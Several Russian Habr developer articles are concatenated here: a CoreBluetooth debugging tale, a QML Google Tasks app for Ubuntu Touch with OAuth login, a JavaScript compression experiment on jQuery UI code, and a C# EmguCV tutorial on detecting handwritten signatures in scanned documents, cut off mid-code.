Когда же устройство переходит в фоновый режим, оно не передает название, а список поддерживаемых сервисов переносит в overflow-данные. Если приложение активно, то при сканировании с iOS-устройства оно читает эти данные, а при переходе в фон — игнорирует. Поэтому при переходе в фон вы не сможете видеть приложения, которые также находятся в фоне. Остальные операционные системы Apple всегда игнорируют overflow-данные, поэтому если вы будете искать устройства, поддерживающие ваш сервис, то получите пустой массив. А если подключиться к каждому устройству, которое находится рядом, и запросить поддерживаемые сервисы, то в списке, возможно, будет ваш сервис, и вы сможете с ним работать.
Дальше мы уже готовились передавать в тестирование, правили мелкие недочёты, занимались оптимизацией. И вдруг в какой-то момент мы стали получать в консоли эту ошибку:
```
CoreBluetooth[WARNING] Unknown error: 124
```
Самое плохое было в том, что никакой метод делегата не вызывался, мы даже не могли никак обыграть эту ошибку для пользователя. Просто сообщение в лог — и тишина, всё замирало. Никаких особых изменений не вносилось, поэтому мы начали откатываться по коммитам. И обнаружили, что однажды оптимизировали код и переделали способ записи данных. Проблема крылась в том, что не все клиенты были обновлены, поэтому возникала такая ошибка.
```
.write != .writeWithoutResponse
```
Мы, счастливые, что всё исправили, побежали скорее передавать в тестирование, а они нам почти сразу возвращают: «Ваши модные фоточки не работают. Они все недогруженные приходят». Мы начали пробовать, и правда, иногда, на разных устройствах, в разное время приходят битые фотографии. Начали искать причину.
И тут снова увидели прежнюю ошибку. Сразу подумали, что дело в разных версиях. Но после полного удаления старой версии со всех тестовых устройств ошибка всё равно воспроизводилась. Мы взгрустнули…
```
CoreBluetooth[WARNING] Unknown error: 722
CoreBluetooth[WARNING] Unknown error: 249
CoreBluetooth[WARNING] Unknown error: 312
```
Начали искать инструмент для отладки. Первое, что нам попалось, это Apple Bluetooth Explorer. Мощная программа, много всего умеет, но вот для отладки протокола Bluetooth LE одна маленькая вкладка с поиском устройств и получением характеристик. А нам-то нужно было анализировать L2CAP.
Потом нашли LightBlue Explorer. Оказалась вполне приличная программа, правда, с дизайном из iOS 7. Может делать то же самое, что и Bluetooth Explorer, а еще умеет подписываться на характеристики. И работает стабильнее. Всё хорошо, но опять без L2CAP.
И тут нам вспомнился всем известный сниффер WireShark.
Оказалось, он знаком с Bluetooth LE: может читать L2CAP, но только под Windows. Хотя это не страшно, что мы, не найдем винду, что ли. Самый большой минус — программа работает только с определенным устройством. То есть нужно было найти где-то устройство в официальном магазине. А вы сами понимаете, в большой компании вряд ли одобрят покупку непонятного устройства на барахолке. Мы даже начали просматривать зарубежные онлайн-магазины.
Но тут обнаружили в Additional Xcode Tools программу PacketLogger. Она позволяет смотреть траффик, которой идет на OS X-устройстве. А почему бы не переписать наш MoneyDrop под OS X? Он у нас уже был отдельной библиотеки. Мы просто заменили UIImage на NSImage, всё завелось само через 10 минут.
Наконец-то мы могли читать пакеты, которыми обмениваются устройства. Сразу стало понятно, что в момент передачи данных по L2CAP записывалась одна из характеристик. А из-за того, что канал был полностью занят передачей фотографии, iOS игнорировала запись, а отправитель после игнора обрывал канал. После исправления проблем с передачей фотографии не было.
На этом всё, спасибо за прочтение :)
**### Полезные ссылки**
**WWDC/CoreBluetooth:**
* <https://developer.apple.com/videos/play/wwdc2017/712/>
* WWDC 2012 Session 703 Core Bluetooth 101
* WWDC 2012 Session 705 Advanced Core Bluetooth
**Bluetooth**
* <https://www.bluetooth.com/specifications/gatt>
* Getting Started with Bluetooth Low Energy O’Reilly
**YouTube**
* Arrow Electronics → Bluetooth Low Energy Series | https://habr.com/ru/post/452278/ | null | ru | null |
# Google tasks для Ubuntu Touch
После новостей о [добавлении в дистрибутив Ubuntu Touch приложений](http://habrahabr.ru/post/177167/) и [Qt 5 для Android](http://habrahabr.ru/post/172639/) решил посмотреть что представляет собой Ubuntu SDK и написать простое приложение. Выбор пал на google tasks, сейчас приложение проходит авторизацию oauth и получает задачи из выбранного списка. Код приложения доступен на [github.](https://github.com/gsdstr/utasks) Знакомство с QML значительно упростит понимание приведенного кода, некоторые ссылки собраны на [этой странице.](http://developer.ubuntu.com/resources/programming-languages/qml/)
#### Установка
На текущий момент официально доступны пакеты для [Ubuntu начиная от 12.04.](http://developer.ubuntu.com/get-started/gomobile/#step-get-toolkit)
После установки будет доступен Qt Creator с дополнительными инструментами разработки от Ubuntu и набор компонентов для интерфейса. Первоначальное ознакомление рекомендую начать с [примера на сайте.](http://developer.ubuntu.com/resources/app-developer-cookbook/mobile/currency-converter-phone-app/)
Я создал новый проект Qt Quick 2 Application, для большей гибкости. Можно скопировать код из примера в main.qml и запустить приложение. Вывод в консоли *QQmlComponent: Component is not ready* — это небольшой [баг](https://bugs.launchpad.net/ubuntu-ui-toolkit/+bug/1158246), но и SDK пока в статусе preview.
#### Авторизация
Для работы с API необходимо зарегистрировать приложение в [консоли](https://code.google.com/apis/console). Подробное описание в [Step 2: Register Your Application](https://developers.google.com/appengine/articles/python/getting_started_with_tasks_api)
Нам потребуется показать пользователю страницу авторизации приложения и получить токен. QML существует уже длительное время и за основу я взял код из проекта [qml-google-tasks](https://code.google.com/p/qml-google-tasks/). Авторизацию реализуют два файла **GoogleOAuth.qml** — GUI и **google\_oauth.js** — логика.
Изменяем **GoogleOAuth.qml** для работы с QtQuick 2 и интеграции с компонентами Ubuntu.
**Код**
```
import QtQuick 2.0
import QtWebKit 3.0
import Ubuntu.Components 0.1
import "google_oauth.js" as OAuth
Page {
id: google_oauth
title: i18n.tr("Login")
anchors.fill: parent
property string oauth_link: "https://accounts.google.com/o/oauth2/auth?" +
"client_id=" + OAuth.client_id +
"&redirect_uri=" + OAuth.redirect_uri +
"&response_type=code" +
"&scope=https://www.googleapis.com/auth/tasks" +
"&access_type=offline" +
"&approval_prompt=force"
property bool authorized: accessToken != ""
property string accessToken: ""
property string refreshToken: ""
signal loginDone();
onAccessTokenChanged: {
console.log('onAccessTokenChanged');
if(accessToken != ''){
console.log("accessToken = ", accessToken)
loginDone();
}
}
function login(){
loginView.url = oauth_link
}
function refreshAccessToken(refresh_token){
OAuth.refreshAccessToken(refresh_token)
}
Flickable {
id: web_view_window
property bool loading: false
anchors.fill: parent
WebView {
id: loginView
anchors.fill: parent
onUrlChanged: OAuth.urlChanged(url)
}
}
}
```
В **google\_oauth.js** меняем *client\_id* *client\_secret* и *redirect\_uri* на полученные в консоле.
Проверить работу мы можем немного изменив код **GoogleOAuth.qml**:
**Код**
```
import QtQuick 2.0
import QtWebKit 3.0
import Ubuntu.Components 0.1
import "google_oauth.js" as OAuth
Page {
id: google_oauth
title: i18n.tr("Login")
anchors.fill: parent
property string oauth_link: "https://accounts.google.com/o/oauth2/auth?" +
"client_id=" + OAuth.client_id +
"&redirect_uri=" + OAuth.redirect_uri +
"&response_type=code" +
"&scope=https://www.googleapis.com/auth/tasks" +
"&access_type=offline" +
"&approval_prompt=force"
property bool authorized: accessToken != ""
property string accessToken: ""
property string refreshToken: ""
signal loginDone();
onAccessTokenChanged: {
console.log('onAccessTokenChanged');
if(accessToken != ''){
console.log("accessToken = ", accessToken)
loginDone();
}
}
function login(){
loginView.url = oauth_link
}
function refreshAccessToken(refresh_token){
OAuth.refreshAccessToken(refresh_token)
}
Flickable {
id: web_view_window
property bool loading: false
//anchors.fill: parent
//Для тестирования
width: 800
height: 800
WebView {
id: loginView
anchors.fill: parent
onUrlChanged: OAuth.urlChanged(url)
}
}
//Для тестирования
Component.onCompleted: {
console.log("onCompleted")
login()
}
}
```
и запустив утилитой qmlscene файл **GoogleOAuth.qml** (В Qt Creator доступна в меню: **Tools** > **External** > **Qt Quick** > **Qt Quick 2 Preview**, запускает открытый в текущий момент файл)
После авторизации в логе должны появиться строки:
*onAccessTokenChanged
accessToken = xxxx.xxxxxxxxxxxxxxxxxxxxxxxx*
###### Навигация
Структурно интерфейс представляет собой [MainView](http://developer.ubuntu.com/api/ubuntu-12.10/qml/mobile/qml-ubuntu-components0-mainview.html) с набором [Page,](http://developer.ubuntu.com/api/ubuntu-12.10/qml/mobile/qml-ubuntu-components0-page.html) аналогично fragments в android. Для простоты Page я делал в отдельных файлах, в **main.qml** остались PageStack, отвечающий за навигацию между страницами, и код для переключения страниц.
**Код**
```
import QtQuick 2.0
import Ubuntu.Components 0.1
import "tasks_data_manager.js" as TasksDataManager
MainView {
objectName: "mainView"
applicationName: "UTasks"
id: root
width: units.gu(60)
height: units.gu(80)
PageStack {
id: pageStack
Component.onCompleted: push(taskLists)
//Списки задач пользователя
TaskLists {
id: taskLists
visible: false
onItemClicked: {
var item = taskLists.curItem
console.log("onItemClicked: ", item)
tasks.title = item["title"]
TasksDataManager.getMyTasks(item["id"])
pageStack.push(tasks)
}
}
//Задачи в одном списке
Tasks {
id: tasks
visible: false
}
//Авторизация и получение токена
GoogleOAuth {
id: google_oauth
visible: false
onLoginDone: {
pageStack.clear()
pageStack.push(taskLists)
console.log("Login Done")
//tasks.refreshToken = refreshToken
settings.setValueFor("accessToken", accessToken)
settings.setValueFor("refreshToken", refreshToken)
TasksDataManager.getMyTaskLists()
}
}
}
//По окончанию запуска компонента проверяем наличие токена
Component.onCompleted: {
console.log("onCompleted")
if (settings.getValueFor("refreshToken") === "") {
pageStack.push(google_oauth)
console.log("google_oauth")
google_oauth.login()
} else {
pageStack.push(taskLists)
google_oauth.refreshAccessToken(settings.getValueFor("refreshToken"))
}
}
}
```
###### Сохранение
Чтобы не запрашивать авторизацию у пользователя каждый раз необходимо сохранить токен. В QML 2 доступна работа с SQLite, но ради одной строки не хотелось использовать SQL. Я написал небольшой с++ класс TasksSettings — обертку над [QSettings](http://qt-project.org/doc/qt-5.0/qtcore/qsettings.html). Для работы из QML с объектами с++ необходимо отметить вызываемые методы как Q\_INVOKABLE и добавить объект в контекст:
```
viewer.rootContext()->setContextProperty("settings", &settings);
```
После этого в QML можно использовать методы *getValueFor* для получения и *setValueFor* для установки значений:
```
settings.setValueFor("refreshToken", refreshToken)
if (settings.getValueFor("refreshToken") === "") {
```
#### Списки задач
Интерфейс — **TaskLists.qml**.
Простой [ListView](http://qt-project.org/doc/qt-5.0/qtquick/qml-qtquick2-listview.html) с использованием [ListItems](http://developer.ubuntu.com/api/ubuntu-12.10/qml/mobile/qml-ubuntu-components-listitems0-standard.html) из Ubuntu
**Код**
```
import QtQuick 2.0
import QtQuick.XmlListModel 2.0
import Ubuntu.Components 0.1
import Ubuntu.Components.ListItems 0.1
import Ubuntu.Components.Popups 0.1
Page {
id: taskLists
title: i18n.tr("Lists")
anchors.fill: parent
ListModel {
id: taskListsModel
ListElement {
title: "My"
}
}
Flickable {
id: flickable
anchors.fill: parent
ListView {//лист
id: taskListsView
model: taskListsModel
anchors.fill: parent
delegate: Standard {
text: title //от куда берется название
progression: true //стрелка справа
onClicked: {
console.log("index: ", index);
taskListsView.currentIndex = index
curItem = taskListsModel.get(index)
itemClicked()
}
}
}
}
}
```
Логика реализована в **tasks\_data\_manager.js**, нам необходима функция *getMyTaskLists()*. Изменяем содержимое *onload* на
```
taskLists.itemsList = result["items"];
```
В **TaskLists.qml** добавляем список элементов и обрабатываем его изменение:
```
property variant itemsList;
signal itemClicked();
onItemsListChanged:
{
taskListsModel.clear()
if(itemsList === undefined)
return
for(var i = 0; i < itemsList.length; ++i)
{
console.log("append:", itemsList[i]["title"], itemsList[i]["id"]);
var item = itemsList[i]
taskListsModel.append( item ); //добавляем элемент в модель
}
}
```
И в конце добавляем обработчик нажатия на элемент списка
```
property variant curItem;
onClicked: {
console.log("index: ", index);
taskListsView.currentIndex = index
curItem = taskListsModel.get(index)
itemClicked()
}
```
В **main.qml** реализуем переключение на список при нажатии элемента
```
onItemClicked: {
var item = taskLists.curItem
console.log("onItemClicked: ", item)
tasks.title = item["title"]
TasksDataManager.getMyTasks(item["id"])
pageStack.push(tasks)
}
```
Загрузка списка задач сделана аналогично загрузке списков. Код можно посмотреть в репозитории.
**Скриншоты с настольной версии:**
Продолжение следует… | https://habr.com/ru/post/177971/ | null | ru | null |
# Сам себе gzip: сжимаем скрипты на 20% лучше
Если посмотреть на скрипт, сжатый [Closure Compiler](http://code.google.com/closure/compiler)'ом, [YUI Compressor](http://developer.yahoo.com/yui/compressor)'ом или еще чем-нибудь, можно увидеть бесконечные вереницы повторяющихся ключей: `.prototype`, `.length`, `offsetParent` и так далее. Попробуем избавиться от них на примере плагина jQuery UI Sortable. Скажу сразу, что gzip нам не переплюнуть, но когда его нет под рукой или нельзя им воспользоваться (например, на конкурсе [10K Apart](http://10k.aneventapart.com)), эта техника сжатия может оказаться весьма полезной.
Возьмем файл jquery.ui.sortable.js версии 1.8.2 как один из самых внушительных в комплекте jQuery UI. Исходник весит 38,5 КБ, сжатый Closure Compiler'ом — 23,1 КБ, в gzip'е — 5,71 КБ. Чтобы не загромождать экраны, выберем какой-нибудь характерный метод и *представим, что это отдельный плагин*. Мне понравился `_mouseCapture()`:
> `1. /\*!
> 2. \* Исходный код
> 3. \*/
> 4. (function($) {
> 5.
> 6. var
> 7. \_mouseCapture = function(event, overrideHandle) {
> 8.
> 9. if (this.reverting) {
> 10. return false;
> 11. }
> 12.
> 13. if (this.options.disabled || this.options.type == 'static') return false;
> 14.
> 15. //We have to refresh the items data once first
> 16. this.\_refreshItems(event);
> 17.
> 18. //Find out if the clicked node (or one of its parents) is a actual item in this.items
> 19. var currentItem = null, self = this, nodes = $(event.target).parents().each(function() {
> 20. if ($.data(this, 'sortable-item') == self) {
> 21. currentItem = $(this);
> 22. return false;
> 23. }
> 24. });
> 25. if ($.data(event.target, 'sortable-item') == self) currentItem = $(event.target);
> 26.
> 27. if (!currentItem) return false;
> 28. if (this.options.handle && !overrideHandle) {
> 29. var validHandle = false;
> 30.
> 31. $(this.options.handle, currentItem).find("\*").andSelf().each(function() { if (this == event.target) validHandle = true; });
> 32. if (!validHandle) return false;
> 33. }
> 34.
> 35. this.currentItem = currentItem;
> 36. this.\_removeCurrentsFromItems();
> 37. return true;
> 38.
> 39. };
> 40.
> 41. })(jQuery);`
Чтобы не путаться, будем называть его тестовым плагином, а весь Sortable — исходным. Тестовый плагин весит ровно 1 КБ, в сжатом виде 576 байт, в gzip 391 байт.
> `/\*!
> \* Исходный код
> \* Оригинальное сжатие, 576 Б
> \*/
> (function(d){var \_mouseCapture=function(a,b){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this.\_refreshItems(a);var c=null,e=this;d(a.target).parents().each(function(){if(d.data(this,"sortable-item")==e){c=d(this);return false}});if(d.data(a.target,"sortable-item")==e)c=d(a.target);if(!c)return false;if(this.options.handle&&!b){var f=false;d(this.options.handle,c).find("\*").andSelf().each(function(){if(this==a.target)f=true});if(!f)return false}this.currentItem=c;this.\_removeCurrentsFromItems();return true}})(jQuery);` | https://habr.com/ru/post/100828/ | null | ru | null |
# Наш опыт в распознавании наличия подписи на .NET + EmguCV (OpenCV). Ч. 1
### Введение
Привет, Хабр! Я работаю разработчиком в АльфаСтрахование – в команде, которая занимается электронным документооборотом. Наша команда уже рассказывала о своих решениях на хабре (статья про [Odata](https://habr.com/ru/company/alfastrah/blog/568414/), статья про [интеграцию с Почтой России](https://habr.com/ru/company/alfastrah/blog/579190/)). Цель новой серии статей о распознавании подписи – рассказать о ещё одной решенной нами задаче (как нам кажется, интересной)
В чем суть проблемы, с которой мы столкнулись: несмотря на то, что документооборот внутри компании полностью электронный, на «входе» документы могут поступать к нам в самых разных форматах: отсканированные с бумажных носителей, в «цифре» с ЭЦП или без электронной подписи – чтобы обеспечить сквозную обработку таких документов, в ряде процессов нам требуется распознавать наличие подписи.
Анализ проблемы и требований
----------------------------
Изначально пилотировали процесс на документах со статичной формой, где место для подписи жестко закреплено шаблоном. Но потом расширили задачу до проработки общих правил и механизмов распознавания подписи в разных документах, отличающихся по формату. Поэтому начали с того, что на этапе дизайна шаблонов документов добавили в макет квадрат для подписи. Квадрат был нужен для того, чтобы на листе появился объект, за который алгоритм распознавания в будущем мог бы «цепляться» при поиске подписи.
Документы, подписи на которых нам необходимо было распознавать, соответствуют следующему шаблону:
На входе перед нами стояло два основных требования: Во-первых, необходимо было распознавать не менее 95% подписей на документах. Оставшимися процентами можно пренебречь, и оставить на валидацию человеком. Во-вторых, решение требовалось внедрить в существующую систему сканирования, но при этом обеспечить его атомарность. Система сканирования написана на .Net Framework 4.7 (.net47).
Выбор инструмента для распознавания
-----------------------------------
Одним из первых инструментов, на который мы обратили внимание, стало распознавание средствами RPA (Robotic Process Automation). Но по ряду причин нам пришлось от него отказаться:
* решение распознавания наличия подписи с помощью инструмента RPA не являлось бы универсальным и масштабируемым для аналогичных задач из-за:
+ лицензии RPA, которую нужно продлевать;
+ времени, которое необходимо потратить на каждую операцию;
+ большой завязки на UI-интерфейс.
* размазывание стека технологий, что затрудняет дальнейшее сопровождение данного функционала.
Также мы рассматривали Python + OpenCV. Но от этой идеи также пришлось отказаться из-за отсутствия в команде глубоких компетенции в Python.
После поиска и анализа различных инструментов существующих на рынке было принято решение остановится на EmguCV. Это Open-Source библиотека, которая позволит использовать OpenCV для распознавания изображений из приложения созданного на базе .net.
Распознавание подписи по прямоугольнику
---------------------------------------
При проработке решения команда двигалась от простого к сложному. Начали с поиска прямоугольника и определения подписи в нем. За основу мы брали [примеры](https://www.emgu.com/wiki/index.php/Shape_(Triangle,_Rectangle,_Circle,_Line)_Detection_in_CSharp) с EmguCV.
Наш итоговый алгоритм распознавания по прямоугольнику выглядит следующим образом:
Как видно из схемы, мы изначально не хотели много выдумывать и сделали максимально простой алгоритм.
Прежде чем переходить к реализации алгоритма, добавьте в свой проект следующие зависимости:
* - для взаимодействия с OpenCV через API EmguCV;
* - содержит среду выполнения EmguCV
для windows.
Также нам пришлось настроить проект на платформу x86. Это связанно с тем, что nuget пакет Emgu.CV тянет библиотеки, работающие именно под эту платформу. Нам показалось проще переделать проект под платформу, чем «научить» Emgu.CV тянуть другие библиотеки.
Для работы с изображением мы будем использовать класс [UMat](https://emgu.com/wiki/files/3.0.0/document/html/54fae358-0713-57d1-9195-fd47e5c82659.htm) в EmguCV. Его основное отличие от Mat в том, что он старается использовать ресурсы GPU, если это возможно.
Для преобразования массива байт в объект UMat мы использовали следующий код:
```
public static UMat ConvertToUMat(byte[] buffer, ImreadModes imread = ImreadModes.Color)
{
using (var imageMat = new Mat())
{
CvInvoke.Imdecode(buffer, imread, imageMat);
var result = new UMat();
imageMat.CopyTo(result);
return result;
}
}
```
Стандартный конструктор позволяет вытаскивать информацию только из файла, поэтому мы посмотрели, как он устроен внутри, и сделали по аналогии.
### Повернуть документ в изображении строго вертикально
На данном шаге мы просто берем исходное изображение и поворачиваем его таким образом, чтобы документ внутри него стоял строго вертикально.
Сначала нужно вычислить угол, на который мы будем поворачивать изображение:
```
public static double GetRotateAngle(UMat src, CannyOptions options)
{
using var crop = new UMat(src, new Rectangle(0, 0, src.Size.Width, src.Size.Height / 2));
using var gray = new UMat();
crop.CvtColor(gray, ColorConversion.Bgr2Gray);
using UMat canny = gray.GetCannyByOption(options);
/*
* Ищем отрезки, по углам которых, будем ориентировать поворот картинки
* Это может помочь разобраться https://stackoverflow.com/questions/40531468/explanation-ofrho-and-theta-parameters-in-houghlines
*/
LineSegment2D[] lines = canny.HoughLinesP(1, Math.PI / 180, 100, 100, 5);
var angles = new List(lines.Length);
foreach (LineSegment2D line in lines)
{
// Через тангенс определяем угол отрезка (математика 8-го класса)
double atan = Math.Atan2(line.P2.Y - line.P1.Y, line.P2.X - line.P1.X);
// Переводим в радианы
double angle = atan \* 180 / Math.PI;
angles.Add(angle);
}
// Медиана всех углов и будет углом поворота
return angles.Median();
}
///
/// Возвращает медиану чисел
///
public static double Median(this IEnumerable numbers)
{
int count = numbers.Count();
int halfIndex = count / 2;
IOrderedEnumerable sorted = numbers.OrderBy(item => item);
if (count % 2 != 0)
return sorted.ElementAt(halfIndex);
var counter = 0;
int nextHalfIndex = halfIndex + 1;
double result = 0;
foreach (double number in sorted)
{
if (counter == halfIndex || counter == nextHalfIndex)
result += number;
else if (counter > nextHalfIndex)
break;
counter++;
}
return result / 2;
}
```
\*CannyOptions - класс для упрощения взаимодействия с методом [CvInvoke.Canny](https://emgu.com/wiki/files/3.0.0/document/html/fc9004a0-ce7f-2b0b-a090-ad67a7f97fea.htm) и настройки значений через appsettings.json.
\*.CvtColor – метод расширения для упрощения взаимодействия, который под капотом просто перевызывает [CvInvoke.CvtColor](https://emgu.com/wiki/files/3.0.0/document/html/1aa8db33-6057-9fd4-9a95-8ddd6bf6cfcf.htm).
\*.GetCannyByOption – метод расширения, который создает новый объект UMat и записывает в него результат обработки алгоритмом Canny.
\*.HoughLinesP - метод расширения для упрощения взаимодействия, который под капотом просто перевызывает [CvInvoke.HoughLinesP](https://emgu.com/wiki/files/3.0.0/document/html/607d0c0e-7666-0d0d-14b9-82966bdcdadf.htm).
Теперь, когда мы можем определить угол поворота, нам нужен метод, который может повернуть изображение на этот угол.
```
///
/// Возвращает повернутое изображение
///
public static UMat GetRotateUMat(byte[] buffer, double angle)
{
using Image image = ConvertToImage(buffer);
using Image rotate = image.GetRotateImage(Convert.ToSingle(angle));
return rotate.ToUMat();
}
///
/// Преобразует массив байт () в изображение в формате
///
/// Буфер с изображением
/// Изображение
public static Image ConvertToImage(byte[] buffer)
{
using var memoryStream = new MemoryStream(buffer);
return Image.FromStream(memoryStream);
}
///
/// Возвращает повернутое изображение
///
/// Код взят по ссылке: https://stackoverflow.com/questions/2163829/how-do-i-rotate-a-picture-in-winforms
public static Image GetRotateImage(this Image img, float rotationAngle)
{
var bmp = new Bitmap(img.Width, img.Height);
using Graphics gfx = Graphics.FromImage(bmp);
gfx.TranslateTransform((float)bmp.Width / 2, (float)bmp.Height / 2);
gfx.RotateTransform(rotationAngle);
gfx.TranslateTransform(-(float)bmp.Width / 2, -(float)bmp.Height / 2);
gfx.InterpolationMode = InterpolationMode.HighQualityBicubic;
gfx.DrawImage(img, new Point(0, 0));
return bmp;
}
```
Важное уточнение! В этом участке кода мы работаем с System.Drawing.Image. Мы не использовали методы поворота в API EmguCV, так как эти методы позволяли поворачивать изображение только на 90%.
Теперь нужно непосредственно повернуть документ в изображении строго вертикально:
```
public static UMat VerticalRotateDocument(byte[] src, CannyOptions cannyOptions)
{
UMat srcUmat = ConvertToUMat(src);
double median = GetRotateAngle(srcUmat, cannyOptions);
// документ уже вертикально стоит
if (median == 0)
return srcUmat;
UMat result = GetRotateUMat(src, median);
// Если так случилось, то значит повернули изображение не в ту сторону
if (median < GetRotateAngle(result, cannyOptions))
{
result.Dispose();
result = GetRotateUMat(src, median * -1);
}
return result;
}
```
В коде мы работаем в основном с вертикальными объектам. Поэтому этот шаг повысит точность распознавания.
### Обрезать 80% изображения сверху и 20% по бокам
Прибегая к данному шагу мы уменьшаем зону поиска и, как следствие, сокращаем время и ресурсы, которые нужны алгоритму на обработку:
```
public static UMat CropUMat(this UMat src, CropOptions options)
{
decimal cropLeft = (decimal)options.LeftInPercentage / 100;
decimal cropTop = (decimal)options.TopInPercentage / 100;
decimal cropRight = (decimal)options.RightInPercentage / 100;
decimal cropBotton = (decimal)options.BottomInPercentage / 100;
Size oldSize = src.Size;
var location = new Point(
(int)Math.Round(oldSize.Width * cropLeft),
(int)Math.Round(oldSize.Height * cropTop)
);
int width = cropRight > 0
? oldSize.Width - (int)Math.Round(oldSize.Width * cropRight) - location.X
: oldSize.Width - location.X;
int height = cropBotton > 0
? oldSize.Height - (int)Math.Round(oldSize.Height * cropBotton) - location.Y
: oldSize.Height - location.Y;
return new UMat(src, new Rectangle(location, new Size(width, height)));
}
```
\*CropOptions - это созданный нами класс для метода инкапсуляции логики обрезания картинки.
Мы точно знаем, что искомый прямоугольник с подписью будет расположен по центру в самой нижней части документа. Поэтому остальную область можно сразу обрезать. Из всех шагов этот - наиболее простой и понятный.
### Найти наибольший прямоугольник
Обычно, большинство изображений поступают в плохом качестве. Чтобы компенсировать наличие артефактов, прежде чем искать прямоугольник, необходимо размыть картинку и восстановить её контуры:
```
public static UMat ContoursReconstruction(UMat src,
GaussianBlurOptions gaussianBlurOptions,
CannyOptions cannyOptions)
{
using var gray = new UMat();
src.CvtColor(gray, ColorConversion.Bgr2Gray);
using UMat blur = gray.GetGaussianBlurByOption(gaussianBlurOptions);
using UMat canny = blur.GetCannyByOption(cannyOptions);
using Mat kernel = CvInvoke.GetStructuringElement(ElementShape.Cross, new Size(3, 3), new Point(1, 1));
var result = new UMat();
var defaultColor = new MCvScalar(255, 255, 255);
var defaultPoint = new Point(1, 1);
var iteration = 1;
canny.MorphologyEx(
result,
MorphOp.Close,
kernel,
defaultPoint,
iteration,
BorderType.Constant,
defaultColor);
return result;
}
```
\*GaussianBlurOptions - класс для упрощения взаимодействия с методом [CvInvoke.GaussianBlur](https://emgu.com/wiki/files/3.0.0/document/html/4d4fa4cc-0d74-ab37-10ee-2189d35beb81.htm) и настройки значение через appsettings.json.
\*.GetGaussianBlurByOption – метод расширения, который создает новый объект UMat и записывает в него результат обработки алгоритмом Gaussian.
\*.MorphologyEx - метод расширения для упрощения взаимодействия, который под капотом перевызывает [CvInvoke.MorphologyEx](https://emgu.com/wiki/files/3.0.0/document/html/58635f27-dc98-5465-243b-af3585b52f38.htm).
После того как как мы восстановили контуры, их необходимо получить:
```
public static VectorOfVectorOfPoint GetCountors(this UMat src)
{
using var hierarchy = new UMat();
var contours = new VectorOfVectorOfPoint();
src.FindContours(contours, hierarchy, RetrType.List, ChainApproxMethod.ChainApproxNone);
return contours;
}
```
\*.FindContours - метод расширения для упрощения взаимодействия, который под капотом просто перевызывает [CvInvoke.FindContours](https://emgu.com/wiki/files/3.0.0/document/html/cb24a129-d9ce-57f3-19ad-0eaa27a77317.htm).
Теперь мы можем благополучно искать прямоугольник:
```
public static Rectangle? GetLargestRectangle(VectorOfVectorOfPoint contours)
{
const double minRectanglePerimeter = 0.4;
const double partOfPerimeterEpsilon = 0.07;
foreach (KeyValuePair item in contours.GetSortedContoursByArea())
{
using var contour = contours[item.Key];
double contourPerimeter = contour.ArcLength(true);
if (contourPerimeter < minRectanglePerimeter)
continue;
using var approximation = new VectorOfPoint();
contour.ApproxPolyDP(approximation, partOfPerimeterEpsilon \* contourPerimeter, true);
if (contour.IsContourRectangle(partOfPerimeterEpsilon \* contourPerimeter))
return contour.BoundingRectangle();
}
return null;
}
///
/// Определяет является ли контур приблизительно прямоугольником
///
public static bool IsContourRectangle(this VectorOfPoint contour, double epsilon)
{
using var approximation = new VectorOfPoint();
contour.ApproxPolyDP(approximation, epsilon, true);
// Если это приблизительно 4-угольник и он выпуклый
return approximation.IsApproximationRectangle();
}
///
/// Определяет является ли аппроксимация приблизительно прямоугольником
///
public static bool IsApproximationRectangle(this VectorOfPoint approximation)
{
// Если это приблизительно 4-угольник и он выпуклый
return approximation.Size >= 4
&& approximation.Size <= 8
&& approximation.IsContourConvex();
}
///
/// Возвращает индексы контуров, отсортированные по убыванию площадей
///
/// Индексы контуров отсортированные по убыванию площадей {key: index; value: area}
public static Dictionary GetSortedContoursByArea(this VectorOfVectorOfPoint contours)
{
var result = new Dictionary();
int size = contours.Size;
if (size == 0)
return result;
for (var i = 0; i < size; i++)
using (VectorOfPoint contour = contours[i])
{
double area = contour.ContourArea();
result.Add(i, area);
}
return result
.OrderByDescending(item => item.Value)
.ToDictionary(item => item.Key, item => item.Value);
}
```
Здесь нами был создан ряд методов расширения для упрощения взаимодействия, каждый из которых перевызывает соответствующий метод:
* \*.ApproxPolyDP -> CvInvoke.ApproxPolyDP
* \*.IsContourConvex -> CvInvoke.IsContourConvex
* \*.BoundingRectangle -> CvInvoke.BoundingRectangle
* \*.ContourArea -> CvInvoke.ContourArea
### Обрезать изображение по прямоугольнику
Теперь мы обрежем изображение по найденному прямоугольнику, чтобы затем искать подпись только в его пределах:
```
public static UMat CropImageByLargestRectangle(UMat src)
{
using var contours = src.GetCountors();
// Если контуров нет, то и искать нечего
if (contours.Size == 0)
return null;
Rectangle? rectangle = GetLargestRectangle(contours);
if (!rectangle.HasValue)
return null;
return new UMat(src, rectangle.Value);
}
```
Обрезка изображения, по сути, представляет из себя создание нового объекта UMat с передачей в него исходного объекта UMat содержащего изображение, которое нужно вырезать) и прямоугольника, по границам которого нужно обрезать изображение.
### Найти любой контур, напоминающий подпись
Ну и, собственно, последний штрих: нужно найти любой контур напоминающий подпись:
```
public static bool ContainsSigned(UMat src)
{
const double partOfPerimeterEpsilon = 0.07;
using var hierarchy = new UMat();
using var contours = new VectorOfVectorOfPoint();
src.FindContours(contours, hierarchy, RetrType.List, ChainApproxMethod.ChainApproxNone);
double minSignatureContourPerimeter = Math.Round(src.Size.Width * 0.4);
int size = contours.Size;
// Если контуров нет, то подписи тем более нет
if (contours.Size == 0)
return false;
double imageOfSignatureArea = src.Size.Width * src.Size.Height;
for (var i = 0; i < size; i++)
{
using VectorOfPoint contour = contours[i];
double perimeter = contour.ArcLength(true);
if (perimeter < minSignatureContourPerimeter)
continue;
double contourArea = contour.ContourArea();
double areaRatio = contourArea / imageOfSignatureArea;
// Словили какой-то не внятный объект
if (areaRatio >= 0.3)
continue;
using var approximation = new VectorOfPoint();
contour.ApproxPolyDP(approximation, partOfPerimeterEpsilon * perimeter, true);
// Не подходящий объект
bool invalid = approximation.IsApproximationRectangle()
|| approximation.Size <= 2
&& perimeter / contourArea >= 0.5
|| approximation.ToArray().AnyAngle90Degree();
if (invalid)
continue;
return true;
}
return false;
}
///
/// Определяет содержит ли кривая хотя бы один угол примерно 90 градусов
///
public static bool AnyAngle90Degree(this Point[] pts, double deviation = 5)
{
double leftDeviation = 90 - deviation / 2;
double rightDeviation = 90 + deviation / 2;
return pts
.GetExteriorAngles()
.Any(angle => angle > leftDeviation && angle < rightDeviation);
}
///
/// Вернуть внешние углы кривой
///
